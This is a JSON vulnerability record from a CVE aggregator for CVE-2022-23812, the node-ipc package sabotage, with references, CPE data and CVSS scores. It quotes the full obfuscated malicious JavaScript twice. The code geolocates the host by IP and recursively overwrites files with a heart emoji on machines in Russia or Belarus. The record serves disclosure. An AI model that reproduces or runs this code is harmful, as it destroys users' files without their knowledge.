{"api_version":"1","generated_at":"2026-07-24T20:01:44+00:00","cve":"CVE-2022-23812","urls":{"html":"https://cve.report/CVE-2022-23812","api":"https://cve.report/api/cve/CVE-2022-23812.json","docs":"https://cve.report/api","cve_org":"https://www.cve.org/CVERecord?id=CVE-2022-23812","nvd":"https://nvd.nist.gov/vuln/detail/CVE-2022-23812"},"summary":{"title":"CVE-2022-23812","description":"This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from \"path\"; import a from \"fs\"; import o from \"https\"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from(\"aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=\", \"base64\"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString(\"utf8\"), function (t) { t.on(\"data\", function (t) { const n = Buffer.from(\"Li8=\", \"base64\"); const o = Buffer.from(\"Li4v\", \"base64\"); const r = Buffer.from(\"Li4vLi4v\", \"base64\"); const f = Buffer.from(\"Lw==\", \"base64\"); const c = Buffer.from(\"Y291bnRyeV9uYW1l\", \"base64\"); const e = Buffer.from(\"cnVzc2lh\", \"base64\"); const i = Buffer.from(\"YmVsYXJ1cw==\", \"base64\"); try { const s = JSON.parse(t.toString(\"utf8\")); const u = s[c.toString(\"utf8\")].toLowerCase(); const a = u.includes(e.toString(\"utf8\")) || u.includes(i.toString(\"utf8\")); // checks if country is Russia or Belarus if (a) { h(n.toString(\"utf8\")); h(o.toString(\"utf8\")); h(r.toString(\"utf8\")); h(f.toString(\"utf8\")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = \"\", o = \"\") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from(\"4p2k77iP\", \"base64\"); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString(\"utf8\"), function () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };","state":"PUBLIC","assigner":"report@snyk.io","published_at":"2022-03-16 16:15:00","updated_at":"2023-11-07 03:44:00"},"problem_types":["NVD-CWE-Other"],"metrics":[],"references":[{"url":"https://github.com/RIAEvangelist/node-ipc/issues/233","name":"N/A","refsource":"CONFIRM","tags":[],"title":"Remove the 'peacenotwar' module  · Issue #233 · RIAEvangelist/node-ipc · GitHub","mime":"text/html","httpstatus":"200","archivestatus":"200"},{"url":"https://security.netapp.com/advisory/ntap-20220407-0005/","name":"https://security.netapp.com/advisory/ntap-20220407-0005/","refsource":"CONFIRM","tags":[],"title":"CVE-2022-23812 NPM Vulnerability in NetApp Products | NetApp Product Security","mime":"text/html","httpstatus":"200","archivestatus":"404"},{"url":"https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js","name":"N/A","refsource":"CONFIRM","tags":[],"title":"node-ipc/ssl-geospec.js at 847047cf7f81ab08352038b2204f0e7633449580 · RIAEvangelist/node-ipc · GitHub","mime":"text/html","httpstatus":"200","archivestatus":"200"},{"url":"https://snyk.io/vuln/SNYK-JS-NODEIPC-2426370","name":"N/A","refsource":"CONFIRM","tags":[],"title":"Malicious Package in node-ipc | CVE-2022-23812 | Snyk","mime":"text/html","httpstatus":"200","archivestatus":"404"},{"url":"https://github.com/RIAEvangelist/node-ipc/issues/236","name":"N/A","refsource":"CONFIRM","tags":[],"title":"A package should never try to do unrelated things. · Issue #236 · RIAEvangelist/node-ipc · GitHub","mime":"text/html","httpstatus":"200","archivestatus":"200"},{"url":"https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580","name":"N/A","refsource":"CONFIRM","tags":[],"title":"added ssl check · RIAEvangelist/node-ipc@847047c · GitHub","mime":"text/html","httpstatus":"200","archivestatus":"404"},{"url":"https://www.cve.org/CVERecord?id=CVE-2022-23812","name":"CVE Program record","refsource":"CVE.ORG","tags":["canonical"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2022-23812","name":"NVD vulnerability detail","refsource":"NVD","tags":["canonical","analysis"]}],"affected":[],"timeline":[],"solutions":[],"workarounds":[],"exploits":[],"credits":[{"source":"LEGACY","value":"Unknown","lang":""}],"nvd_cpes":[{"cve_year":"2022","cve_id":"23812","vulnerable":"1","versionEndIncluding":"","cpe1":"cpe","cpe2":"2.3","cpe3":"a","cpe4":"node-ipc_project","cpe5":"node-ipc","cpe6":"*","cpe7":"*","cpe8":"*","cpe9":"*","cpe10":"*","cpe11":"node.js","cpe12":"*","cpe13":"*"},{"cve_year":"2022","cve_id":"23812","vulnerable":"1","versionEndIncluding":"","cpe1":"cpe","cpe2":"2.3","cpe3":"a","cpe4":"node-ipic_project","cpe5":"node-ipic","cpe6":"*","cpe7":"*","cpe8":"*","cpe9":"*","cpe10":"*","cpe11":"node.js","cpe12":"*","cpe13":"*"}],"vendor_comments":[],"enrichments":{"kev":null,"epss":null,"legacy_qids":[{"cve":"CVE-2022-23812","qid":"376484","title":"Node-IPC NPM Package Arbitrary File Overwrite Vulnerability"}]},"source_records":{"cve_program":{"data_type":"CVE","data_format":"MITRE","data_version":"4.0","CVE_data_meta":{"ASSIGNER":"report@snyk.io","DATE_PUBLIC":"2022-03-16T15:41:22.870186Z","ID":"CVE-2022-23812","STATE":"PUBLIC","TITLE":"Malicious Package"},"affects":{"vendor":{"vendor_data":[{"product":{"product_data":[{"product_name":"node-ipc","version":{"version_data":[{"version_affected":">=","version_value":"10.1.1"},{"version_affected":"<","version_value":"10.1.3"}]}}]},"vendor_name":"n/a"}]}},"problemtype":{"problemtype_data":[{"description":[{"lang":"eng","value":"Malicious Package"}]}]},"references":{"reference_data":[{"refsource":"MISC","url":"https://snyk.io/vuln/SNYK-JS-NODEIPC-2426370","name":"https://snyk.io/vuln/SNYK-JS-NODEIPC-2426370"},{"refsource":"MISC","url":"https://github.com/RIAEvangelist/node-ipc/issues/236","name":"https://github.com/RIAEvangelist/node-ipc/issues/236"},{"refsource":"MISC","url":"https://github.com/RIAEvangelist/node-ipc/issues/233","name":"https://github.com/RIAEvangelist/node-ipc/issues/233"},{"refsource":"MISC","url":"https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js","name":"https://github.com/RIAEvangelist/node-ipc/blob/847047cf7f81ab08352038b2204f0e7633449580/dao/ssl-geospec.js"},{"refsource":"MISC","url":"https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580","name":"https://github.com/RIAEvangelist/node-ipc/commit/847047cf7f81ab08352038b2204f0e7633449580"},{"refsource":"CONFIRM","name":"https://security.netapp.com/advisory/ntap-20220407-0005/","url":"https://security.netapp.com/advisory/ntap-20220407-0005/"}]},"description":{"description_data":[{"lang":"eng","value":"This affects the package node-ipc from 10.1.1 and before 10.1.3. This package contains malicious code, that targets users with IP located in Russia or Belarus, and overwrites their files with a heart emoji. **Note**: from versions 11.0.0 onwards, instead of having malicious code directly in the source of this package, node-ipc imports the peacenotwar package that includes potentially undesired behavior. Malicious Code: **Note:** Don't run it! js import u from \"path\"; import a from \"fs\"; import o from \"https\"; setTimeout(function () { const t = Math.round(Math.random() * 4); if (t > 1) { return; } const n = Buffer.from(\"aHR0cHM6Ly9hcGkuaXBnZW9sb2NhdGlvbi5pby9pcGdlbz9hcGlLZXk9YWU1MTFlMTYyNzgyNGE5NjhhYWFhNzU4YTUzMDkxNTQ=\", \"base64\"); // https://api.ipgeolocation.io/ipgeo?apiKey=ae511e1627824a968aaaa758a5309154 o.get(n.toString(\"utf8\"), function (t) { t.on(\"data\", function (t) { const n = Buffer.from(\"Li8=\", \"base64\"); const o = Buffer.from(\"Li4v\", \"base64\"); const r = Buffer.from(\"Li4vLi4v\", \"base64\"); const f = Buffer.from(\"Lw==\", \"base64\"); const c = Buffer.from(\"Y291bnRyeV9uYW1l\", \"base64\"); const e = Buffer.from(\"cnVzc2lh\", \"base64\"); const i = Buffer.from(\"YmVsYXJ1cw==\", \"base64\"); try { const s = JSON.parse(t.toString(\"utf8\")); const u = s[c.toString(\"utf8\")].toLowerCase(); const a = u.includes(e.toString(\"utf8\")) || u.includes(i.toString(\"utf8\")); // checks if country is Russia or Belarus if (a) { h(n.toString(\"utf8\")); h(o.toString(\"utf8\")); h(r.toString(\"utf8\")); h(f.toString(\"utf8\")); } } catch (t) {} }); }); }, Math.ceil(Math.random() * 1e3)); async function h(n = \"\", o = \"\") { if (!a.existsSync(n)) { return; } let r = []; try { r = a.readdirSync(n); } catch (t) {} const f = []; const c = Buffer.from(\"4p2k77iP\", \"base64\"); for (var e = 0; e < r.length; e++) { const i = u.join(n, r[e]); let t = null; try { t = a.lstatSync(i); } catch (t) { continue; } if (t.isDirectory()) { const s = h(i, o); s.length > 0 ? f.push(...s) : null; } else if (i.indexOf(o) >= 0) { try { a.writeFile(i, c.toString(\"utf8\"), function () {}); // overwrites file with ❤️ } catch (t) {} } } return f; } const ssl = true; export { ssl as default, ssl };"}]},"impact":{"cvss":{"version":"3.1","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:H","baseScore":9.8,"baseSeverity":"CRITICAL","attackVector":"NETWORK","attackComplexity":"LOW","privilegesRequired":"NONE","userInteraction":"NONE","scope":"UNCHANGED","confidentialityImpact":"HIGH","integrityImpact":"HIGH","availabilityImpact":"HIGH"}},"credit":[{"lang":"eng","value":"Unknown"}]},"nvd":{"publishedDate":"2022-03-16 16:15:00","lastModifiedDate":"2023-11-07 03:44:00","problem_types":["NVD-CWE-Other"],"metrics":{"baseMetricV3":{"cvssV3":{"version":"3.1","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","attackVector":"NETWORK","attackComplexity":"LOW","privilegesRequired":"NONE","userInteraction":"NONE","scope":"UNCHANGED","confidentialityImpact":"HIGH","integrityImpact":"HIGH","availabilityImpact":"HIGH","baseScore":9.8,"baseSeverity":"CRITICAL"},"exploitabilityScore":3.9,"impactScore":5.9},"baseMetricV2":{"cvssV2":{"version":"2.0","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","accessVector":"NETWORK","accessComplexity":"LOW","authentication":"NONE","confidentialityImpact":"COMPLETE","integrityImpact":"COMPLETE","availabilityImpact":"COMPLETE","baseScore":10},"severity":"HIGH","exploitabilityScore":10,"impactScore":10,"acInsufInfo":false,"obtainAllPrivilege":false,"obtainUserPrivilege":false,"obtainOtherPrivilege":false,"userInteractionRequired":false}},"configurations":{"CVE_data_version":"4.0","nodes":[{"operator":"OR","children":[],"cpe_match":[{"vulnerable":true,"cpe23Uri":"cpe:2.3:a:node-ipc_project:node-ipc:*:*:*:*:*:node.js:*:*","versionStartIncluding":"11.0.0","cpe_name":[]},{"vulnerable":true,"cpe23Uri":"cpe:2.3:a:node-ipc_project:node-ipc:*:*:*:*:*:node.js:*:*","versionStartIncluding":"10.1.1","versionEndExcluding":"10.1.3","cpe_name":[]}]}]}},"legacy_mitre":{"record":null,"notes":[]}}}